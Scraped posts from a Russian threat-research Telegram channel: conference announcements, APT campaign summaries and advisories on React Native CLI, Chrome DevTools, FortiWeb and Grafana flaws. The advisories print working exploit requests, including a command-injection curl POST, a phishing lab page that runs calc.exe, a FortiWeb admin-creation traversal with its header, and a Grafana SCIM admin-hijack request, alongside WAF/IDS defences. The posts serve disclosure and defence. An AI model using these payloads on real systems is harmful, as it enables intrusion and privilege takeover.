Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили.
18 ноября, 10:30, зал 3
Разберем ход расследования APT-кампании, в которой через уязвимость развернули неизвестный Rust-имплант с поддержкой множества сетевых режимов и сложной инфраструктурой C2. Поделимся выводами по реверсу Rust и детектированию угроз.
20 ноября, 11:30, зал 3
В одной из атак группировка Shedding Zmiy использовала вредоносные инструменты, написанные на Rust: Mycelium, Leech и Octopus. Эти утилиты — серьезная угроза для инфраструктуры жертвы. Расскажем об инструментах и методах, которые упростят технический анализ вредоносов на Rust.
20 ноября, 12:45, зал 3
Рассмотрим варианты получения телеметрии в ОС Windows на каждом из уровней (EventLog/Sysmon/ETW/WinAPI Callbacks), а также приведем методы обхода каждого из них. Еще покажем методы детектирования подобного рода техник.
20 ноября, 13:45, зал 3
Работа DFIR-инженера — это не только проверка стандартных способов закрепления в системе, но и её глубокий анализ. Мы отправимся в глухие джунгли программ и компонентов, где обитают хитрые и нестандартные способы закрепления. Наш доклад — это отчет об экспедиции на эту опасную территорию.
А ещё приготовили наш традиционный квест с тасками Defense, Offense и Osint. Как обычно, правильные флаги обменяем на мерч.
Принять участие →
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15❤7🤝5⚡2💯1👾1
Фишинговая кампания Erudite Mogwai в России 👀
В мае 2025 года мы обнаружили интересную целевую фишинговую рассылку, в которой применялся не самый распространенный метод доставки вредоносных файлов — сервис одноразовых ссылок, принадлежащий организации-жертве.
После детального исследования обнаружили несколько аналогичных рассылок, которые проводились во второй половине 2024 года. Эти фишинговые рассылки мы отнесли к деятельности группировки Erudite Mogwai (Space Pirates).
Читайте подробности в нашей новой статье!
В мае 2025 года мы обнаружили интересную целевую фишинговую рассылку, в которой применялся не самый распространенный метод доставки вредоносных файлов — сервис одноразовых ссылок, принадлежащий организации-жертве.
После детального исследования обнаружили несколько аналогичных рассылок, которые проводились во второй половине 2024 года. Эти фишинговые рассылки мы отнесли к деятельности группировки Erudite Mogwai (Space Pirates).
Читайте подробности в нашей новой статье!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍5⚡4❤1🤔1💯1👾1
RCE в React Native CLI (CVE-2025-11953)
CVE-2025-11953 — уязвимость, которая позволяет неаутентифицированным пользователям выполнять произвольные команды оболочки (RCE) или запускать произвольные исполняемые файлы в пакете
😳 Метрики
😳 Об уязвимости
Не подвержены уязвимости разработчики, которые используют React Native с фреймворком, но не берут Metro в качестве сервера разработки. В уязвимых версиях
Значение параметра url, отправленного в JSON теле POST-запроса, предаётся в open() без надлежащий валидации.
Исправление:
Исправление проверяет, что параметр url означает именно URL в
💡 Дополнительная особенность уязвимости — сервер по умолчанию будет прослушивать внешние соединения
Важно: поведение
☀️ На Windows уязвимости RCE возникают из за формирования одной строковой команды. Например,
☀️ На macOS/Linux open/xdg-open запускаются без shell и ожидает, что каждый аргумент будет отдельной строкой, но остаются другие риски (URI обработчики, file://, сетевые схемы).
Короче: Windows — риск RCE через командную строку, macOS/Linux — риск через URI обработчики и
Уязвимая конечная точка:
😳 Пример эксплуатации RCE для Windows
😳 Как защищаться
1) Обновиться.
2) Запускать сервер строго на localhost.
3) Написать блокирующее правило (IDS/WAF) на POST-запросы, которые идут к конечной точке /open-url, где в качестве значения параметра url передается строка отличная от http(s)://[domain].[exp].
CVE-2025-11953 — уязвимость, которая позволяет неаутентифицированным пользователям выполнять произвольные команды оболочки (RCE) или запускать произвольные исполняемые файлы в пакете
@react-native-community/cli-server-api версий с 4.8.0 по 20.0.0-alpha.2Base Score: 9,8 (CRITICAL)
CWE: CWE-78
Не подвержены уязвимости разработчики, которые используют React Native с фреймворком, но не берут Metro в качестве сервера разработки. В уязвимых версиях
@react-native-community/cli-server-api функция openURLMiddleware содержит код:async function openURLMiddleware(req: IncomingMessage, ...) {
if (req.method === 'POST') {
…
const {url} = req.body as {url: string};
await open(url);
…
}
next();
}
export default connect().use(json()).use(openURLMiddleware);Значение параметра url, отправленного в JSON теле POST-запроса, предаётся в open() без надлежащий валидации.
Исправление:
try {
const parsedUrl = new URL(url);
if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:') {
res.writeHead(400);
res.end('Invalid URL protocol');
return;
}
} catch (error) {
res.writeHead(400);
res.end('Invalid URL format');
return;
}
await open(url);Исправление проверяет, что параметр url означает именно URL в
new URL с протоколом http/https в if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:').0.0.0.0:[port].Важно: поведение
open() отличается между Windows и Unix подобными системами.cmd /c start "" /b cmd /c echo abc > c:\temp\pwned.txt.Короче: Windows — риск RCE через командную строку, macOS/Linux — риск через URI обработчики и
file:/// smb://.Уязвимая конечная точка:
/open-url.curl -X POST http://metro-server-host:8081/open-url -H "Content-Type: application/json" -d "{\"url\":\"cmd /c echo abc ^> c:\\temp\\poc.txt\"}"1) Обновиться.
2) Запускать сервер строго на localhost.
3) Написать блокирующее правило (IDS/WAF) на POST-запросы, которые идут к конечной точке /open-url, где в качестве значения параметра url передается строка отличная от http(s)://[domain].[exp].
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4👀1👾1
Лабораторная работа CVE-2025-12907
Уязвимость CVE-2025-12907 связана с недостаточной проверкой ненадежного ввода в инструментах разработчика (Devtools) Google Chrome в версиях до 140.0.7339.80.
🫡 Метрики
🫡 Об уязвимости
Текущая реализация DevTools «Копировать как cURL (cmd)» не очищает символ табуляции (\t). Так как cmd.exe интерпретирует табуляцию как разделитель (аналог пробела), злоумышленник может вставить в полезную нагрузку символ табуляции, затем символ разделителя команд (например, &) и перевод строки. В результате аргумент cURL будет проигнорирован и при вставке текста в командную строку выполнятся дополнительные произвольные команды.
Рекомендуем обновиться.
🫡 Лабораторный стенд
Windows 7/10/11
Google Chrome < 140.0.7339.80
Html код (ниже)
Python3
Протестировано на Windows 7 и Google Chrome Version 109.0.5414.120 (Official Build) (32-bit).
😬 Этапы лабораторной работы
1) Создайте и сохраните страницу на сервере. Для примера эта будет фишинговая страница с сообщением «Техническая поддержка не работает» и просьбой отправить тестовый сURL. Название файла — lab_cve-CVE-2025-12907.html.
2) Запустите http-сервер через
3) Откройте Google Chrome с уязвимой версией и переходите на страницу с вредоносным кодом, в нашем случае это lab_cve-CVE-2025-12907.html.
4) Откройте DevTools - > network -> обновите страницу -> выберите запрос -> копировать -> копировать как cURL(cmd).
5) Вставьте полученный код в консоль (cmd). Если появилось сообщение «Продолжить», нажмите Enter.
6) Результат — открытые calc.exe.
😬 Html код (lab_cve-CVE-2025-12907.html)
Уязвимость CVE-2025-12907 связана с недостаточной проверкой ненадежного ввода в инструментах разработчика (Devtools) Google Chrome в версиях до 140.0.7339.80.
CWE: CWE-20
Текущая реализация DevTools «Копировать как cURL (cmd)» не очищает символ табуляции (\t). Так как cmd.exe интерпретирует табуляцию как разделитель (аналог пробела), злоумышленник может вставить в полезную нагрузку символ табуляции, затем символ разделителя команд (например, &) и перевод строки. В результате аргумент cURL будет проигнорирован и при вставке текста в командную строку выполнятся дополнительные произвольные команды.
Рекомендуем обновиться.
Windows 7/10/11
Google Chrome < 140.0.7339.80
Html код (ниже)
Python3
Протестировано на Windows 7 и Google Chrome Version 109.0.5414.120 (Official Build) (32-bit).
1) Создайте и сохраните страницу на сервере. Для примера эта будет фишинговая страница с сообщением «Техническая поддержка не работает» и просьбой отправить тестовый сURL. Название файла — lab_cve-CVE-2025-12907.html.
2) Запустите http-сервер через
python3 -m http.server 8111. Если хотите указать путь до файла, то используйте флаг. --directory /example
3) Откройте Google Chrome с уязвимой версией и переходите на страницу с вредоносным кодом, в нашем случае это lab_cve-CVE-2025-12907.html.
4) Откройте DevTools - > network -> обновите страницу -> выберите запрос -> копировать -> копировать как cURL(cmd).
5) Вставьте полученный код в консоль (cmd). Если появилось сообщение «Продолжить», нажмите Enter.
6) Результат — открытые calc.exe.
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<noscript>Тех поддержка не работает</noscript>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
color: #333;
padding: 40px;
max-width: 600px;
margin: auto;
}
h1 {
color: #c0392b;
text-align: center;
margin-bottom: 20px;
}
p {
font-size: 18px;
line-height: 1.5;
background: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
code {
background-color: #eee;
padding: 3px 6px;
border-radius: 3px;
font-family: monospace;
}
</style>
</head>
<body>
<h1>Техническая поддержка не работает</h1>
<p>Пример тестового сетевого запроса с помощью <code>fetch</code>. Чтобы проверить сеть, откройте F12, скопируйте запрос как <code>cURL(cmd)</code> и отправьте его через консоль.</p>
<noscript>
fetch("/copy-me", {
credentials: "omit",
headers: {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
body: "\t \t\t \r\ncalc.exe \t \t\f\v",
method: "POST",
});
</noscript>
</body>
</html>
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12✍4⚡2❤1👾1
Shedding Zmiy против популярной CMS
Когда анализировали инструментарий проукраинской группировки Shedding Zmiy, мы наткнулись на необычную утилиту. Она называлась Install.
👀 Мы детально проанализировали утилиту и выяснили, что она (если получит несанкционированный доступ к веб-серверу) предназначалась для расширения привилегий в инфраструктуре через уязвимость (нулевого дня на тот момент) в настройках веб-сервера из инструмента «виртуальная машина», который используется для быстрого развертывания популярной российской CMS Bitrix.
Про уязвимость мы уже писали у нас в канале. Она закрыта, и если вы не обновились, то сделайте это скорее.
В новой статье в блоге рассказываем о механизме действия уязвимости, а также о правилах безопасного управления правами доступа, которыми затрудняют жизнь атакующих.
Когда анализировали инструментарий проукраинской группировки Shedding Zmiy, мы наткнулись на необычную утилиту. Она называлась Install.
Про уязвимость мы уже писали у нас в канале. Она закрыта, и если вы не обновились, то сделайте это скорее.
В новой статье в блоге рассказываем о механизме действия уязвимости, а также о правилах безопасного управления правами доступа, которыми затрудняют жизнь атакующих.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7🔥6🤯4👾1
Критическая уязвимость Fortinet FortiWeb (CVE-2025-64446)
CVE-2025-64446 — уязвимость обхода относительного пути в Fortinet. Уязвимые версии: Fortinet FortiWeb 8.0.0–8.0.1, FortiWeb 7.6.0–7.6.4, FortiWeb 7.4.0–7.4.9, FortiWeb 7.2.0–7.2.11, FortiWeb 7.0.0–7.0.11.
👽 Метрики
👽 Об уязвимости
Сканирования системы могут начаться с простого — с проверки доступности фала
Сканирование на доступность начинается с GET- или POST-запроса на:
Ответ:
Означает: файл доступен.
Уязвимость усугубляется тем, что злоумышленник может отправить запрос на создание нового пользователя с ролью «Администратор». Для этого отправляется POST на вышеуказанный
И телом, которое представляет собой JSON с данными нового пользователя.
Небольшое уточнение: часть /api/v регистронезависима.
👽 Как защищаться
1) Блокирующее правило WAF/IDS на запросы к /api/v.., которые содержат в пути попытки обхода директорий
2) Проверка обращений к /fwbcgi из внешней сети.
3) Обновление.
4) Ревизия недавно созданных пользователей.
CVE-2025-64446 — уязвимость обхода относительного пути в Fortinet. Уязвимые версии: Fortinet FortiWeb 8.0.0–8.0.1, FortiWeb 7.6.0–7.6.4, FortiWeb 7.4.0–7.4.9, FortiWeb 7.2.0–7.2.11, FortiWeb 7.0.0–7.0.11.
Base Score: 9.8 CRITICAL
CWE: CWE-23
Сканирования системы могут начаться с простого — с проверки доступности фала
fwbcgi. Файл fwbcgi отвечает за обработку определённых запросов CGI, в том числе аутентификацию и выполнение административных команд. Сканирование на доступность начинается с GET- или POST-запроса на:
/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi
Ответ:
{"errcode": "0", "message": "(null)"}Означает: файл доступен.
Уязвимость усугубляется тем, что злоумышленник может отправить запрос на создание нового пользователя с ролью «Администратор». Для этого отправляется POST на вышеуказанный
/../../../../../cgi-bin/fwbcgi с заголовками вида (указано в формате ключ – значение):{'CGIINFO': 'eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==', 'Content-Type': 'application/x-www-form-urlencoded'}И телом, которое представляет собой JSON с данными нового пользователя.
Небольшое уточнение: часть /api/v регистронезависима.
1) Блокирующее правило WAF/IDS на запросы к /api/v.., которые содержат в пути попытки обхода директорий
../. Также необходимо учесть, что злоумышленник в атаках может использовать методы обхода стандартных сигнатур WAF/IDS. Например, как на скриншоте.2) Проверка обращений к /fwbcgi из внешней сети.
3) Обновление.
4) Ревизия недавно созданных пользователей.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6✍4❤2👾1
Четыре луча
⌛️ Регистрация на SOC Forum 2025 закрывается 7 ноября Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили. 🫡 IDFKA Backdoor: скрытая угроза Rust-имплантов в современных APT-атаках 18 ноября, 10:30, зал 3 Разберем ход расследования…
Расскажем интересное на SOC Forum уже сегодня!
18 и 20 ноября на форуме выступят эксперты Solar 4RAYS. Расписание наших выступлений публиковали раньше.
Ждем вас в Тимирязев Центре и на онлайн-трансляции❤️
18 и 20 ноября на форуме выступят эксперты Solar 4RAYS. Расписание наших выступлений публиковали раньше.
Ждем вас в Тимирязев Центре и на онлайн-трансляции
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12❤6😎3
Следующая остановка — ZeroNights!
SOC Forum закончился, но впереди еще одна классная конференция по кибербезопасности — ZeroNights. Если вы (как и мы) планируете 26 ноября быть в Санкт-Петербурге и заглянуть в гости к Матришу, то у нас для вас послание:
NWQgM2MgMzEgMmMgMjcgMTQgNjQgN2MgNzkgMDggNGQgMWQgMzQgMDYgMzIgNjYgMTcgMWUgMzAgMWQgNjk=
Расшифровали и ничего не поняли? Все подробности на нашем стенде 26 ноября. До встречи❤️
SOC Forum закончился, но впереди еще одна классная конференция по кибербезопасности — ZeroNights. Если вы (как и мы) планируете 26 ноября быть в Санкт-Петербурге и заглянуть в гости к Матришу, то у нас для вас послание:
Расшифровали и ничего не поняли? Все подробности на нашем стенде 26 ноября. До встречи
Please open Telegram to view this post
VIEW IN TELEGRAM
❤23👏9🥰7🤡2👍1🔥1👾1
Повышение привилегий в Grafana Enterprise (CVE-2025-41115)
CVE-2025-41115 — уязвимость связана с ошибкой в обработке идентификаторов пользователей через SCIM. Система позволяет создать пользователя с внешним идентификатором (externalId) числового вида, например «1», который может совпадать или интерпретироваться как внутренний ID пользователя в Grafana.
Уязвимые версии Grafana Enterprise: 12.0.0 ≤ версия ≤ 12.2.1
😬 Метрики
😬 Об уязвимости
Она возникает при установке флагов
Grafana напрямую сопоставляет
Пример запроса, который эксплуатирует уязвимость:
/api/scim/v2/Users — конечная точка для управления пользователями. Например, чтобы создать пользователя через POST-запрос.
Authorization — заголовок авторизации: его значение могут скомпрометировать или использовать дефолтное значение, как в публичных эксплойтах.
Body — это спецификация SCIM RFC 7644. В теле запроса и содержится параметр
😬 Как защищаться
1) Регулярно обновляться.
2) Анализировать запросы к /api/scim/v2/Users из внешних сетей с заголовком Authorization, у которого значения отличаются от сгенерированных или выданных токенов.
3) Анализировать запросы к /api/scim/v2/Users из внешних сетей с параметром
4) Если нельзя быстро обновиться, то установить
Другой вариант — написать блокирующие IDS/WAF-правила на POST-запросы к /api/scim/v2/Users со значением
CVE-2025-41115 — уязвимость связана с ошибкой в обработке идентификаторов пользователей через SCIM. Система позволяет создать пользователя с внешним идентификатором (externalId) числового вида, например «1», который может совпадать или интерпретироваться как внутренний ID пользователя в Grafana.
Уязвимые версии Grafana Enterprise: 12.0.0 ≤ версия ≤ 12.2.1
Base Score: 10.0 CRITICAL
CWE: CWE-266
Она возникает при установке флагов
[feature_toggles] enableSCIM = true и [auth.scim] user_sync_enabled = true в конфигурации Grafana.Grafana напрямую сопоставляет
SCIM externalId с внутренним user.uid, поэтому числовые значения «1» и другие могут быть интерпретированы как внутренние числовые идентификаторы пользователей. ExternalId — этот параметр контролирует злоумышленник в POST-запросах. Пример запроса, который эксплуатирует уязвимость:
POST /api/scim/v2/Users HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Authorization: Bearer glsa_00000000000000000000000000000000_00000000000000000000000000000000
Content-Type: application/scim+json
Content-Length: 239
{"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "userName": "adminLol", "externalId": "1", "name": {"formatted": "Pwned User"}, "emails": [{"value": " adminLol ", "primary": true}], "active": true}
/api/scim/v2/Users — конечная точка для управления пользователями. Например, чтобы создать пользователя через POST-запрос.
Authorization — заголовок авторизации: его значение могут скомпрометировать или использовать дефолтное значение, как в публичных эксплойтах.
Body — это спецификация SCIM RFC 7644. В теле запроса и содержится параметр
externalId, который вызывает коллизию. 1) Регулярно обновляться.
2) Анализировать запросы к /api/scim/v2/Users из внешних сетей с заголовком Authorization, у которого значения отличаются от сгенерированных или выданных токенов.
3) Анализировать запросы к /api/scim/v2/Users из внешних сетей с параметром
externalId, который содержит небольшие значения, например 1-10.4) Если нельзя быстро обновиться, то установить
enableSCIM = false и [auth.scim] user_sync_enabled = false.Другой вариант — написать блокирующие IDS/WAF-правила на POST-запросы к /api/scim/v2/Users со значением
externalId, которое равно числам в диапазоне, например 1-10.Please open Telegram to view this post
VIEW IN TELEGRAM
❤13🔥3✍1👍1👀1👾1
NGC5081 атакует телеком с помощью продвинутого бэкдора IDFKA 👁
В конце мая эксперты Solar 4RAYS подключились к расследованию инцидента в телекоммуникационной компании, который начался с оповещения Solar JSOC о выполнении bash-команд посредством БД PostgreSQL в одном из внутренних контуров инфраструктуры.
💡 Поиск источника активности привел нас к подрядчику этой организации — IT-компании, которая администрировала эту базу данных. В сети подрядчика мы обнаружили минимум две группировки атакующих, одна из которых (мы назвали ее NGC5081) использовала ранее неизвестный бэкдор на языке Rust — мы назвали его IDFKA.
С помощью этого бэкдора атакующие 10 месяцев сохраняли доступ к IT-инфраструктуре подрядчика, а также получили доступ к базам компаний-клиентов с информацией об абонентах и метаинформацией об их звонках.
Подробности — в нашей новой статье.
В конце мая эксперты Solar 4RAYS подключились к расследованию инцидента в телекоммуникационной компании, который начался с оповещения Solar JSOC о выполнении bash-команд посредством БД PostgreSQL в одном из внутренних контуров инфраструктуры.
С помощью этого бэкдора атакующие 10 месяцев сохраняли доступ к IT-инфраструктуре подрядчика, а также получили доступ к базам компаний-клиентов с информацией об абонентах и метаинформацией об их звонках.
Подробности — в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👀5❤4👻1👾1
Mycelium, Octopus и Leech — рассказываем о новом инструментарии группировки Shedding Zmiy
✅ В марте мы выпустили статью о новых инструментах Shedding Zmiy. В том же инциденте мы обнаружили не только руткиты Puma и Kitsune, но и еще несколько новых утилит, написанных на Rust, которые могут использовать злоумышленники для закрепления в системе и постэксплуатации.
Обратили внимание и на техники, которые используют данные вредоносы, и то, как они взаимодействуют между собой. В новой статье рассматриваем:
— как утилиты помогают повысить привилегии;
— каким образом происходит закрепление в системе и дальнейшая маскировка;
— какие возможности получает злоумышленник при попадании этих вредоносов в систему.
Обратили внимание и на техники, которые используют данные вредоносы, и то, как они взаимодействуют между собой. В новой статье рассматриваем:
— как утилиты помогают повысить привилегии;
— каким образом происходит закрепление в системе и дальнейшая маскировка;
— какие возможности получает злоумышленник при попадании этих вредоносов в систему.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14⚡6🤯4👾1